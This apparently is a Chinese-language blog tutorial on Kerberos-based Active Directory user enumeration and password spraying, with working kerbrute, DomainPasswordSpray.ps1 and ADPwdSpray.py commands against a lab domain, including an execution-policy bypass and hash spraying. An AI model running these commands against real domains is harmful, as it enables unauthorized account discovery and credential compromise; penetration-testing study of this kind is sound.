本文已参与「新人创作礼」活动.一起开启掘金创作之路。
域内用户枚举
正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举 。
用户枚举原理
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。
在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样。
枚举工具
1、kerbrute
kerbrute_windows_amd64.exe userenum --dc 域控ip -d 域名 用户名字典.txt
kerbrute_windows_amd64.exe userenum --dc 192.168.189.193 -d hacker.lab users.txt
密码喷洒攻击
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题。
在我们获取了域用户后,就可以进行密码喷洒攻击。
密码喷洒原理
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED。
密码喷洒工具
1、kerbrute
用一个密码去碰撞多个账户
kerbrute_windows_amd64.exe passwordspray --dc 192.168.189.193 -d hacker.lab users.txt chiza2596@
2、DomainPasswordSpray.ps1
环境:powershell2.0(经测试在powershell4.0的版本中该脚本不能执行)
该脚本利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
(1)、自动从域中导出用户列表
powershell -exec bypass
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 密码
(2)、指定用户列表,指定单个密码进行爆破
Invoke-DomainPasswordSpray -Userlist users.txt -Domain hacker.lab -password chiza2596!
(3)、指定用户、密码列表进行爆破,输出到特定文件中,依次使用密码对账号进行匹配
Invoke-DomainPasswordSpray -Userlist users.txt -Domain hacker.lab -PasswordList pass.txt
3、ADPwdSpray.py
下载地址:codeload.github.com/3gstudent/p…
该脚本可以针对明文密码或者哈希进行喷洒
针对明文进行喷洒
python2 ADPwdSpray.py 192.168.189.193 hacker.lab users.txt clearpassword chiza2596! tcp
针对哈希进行喷洒
python2 ADPwdSpray.py 192.168.189.193 hacker.lab users.txt ntlmhash 6d07c6a873ec8918fef61423e1a4e9fa udp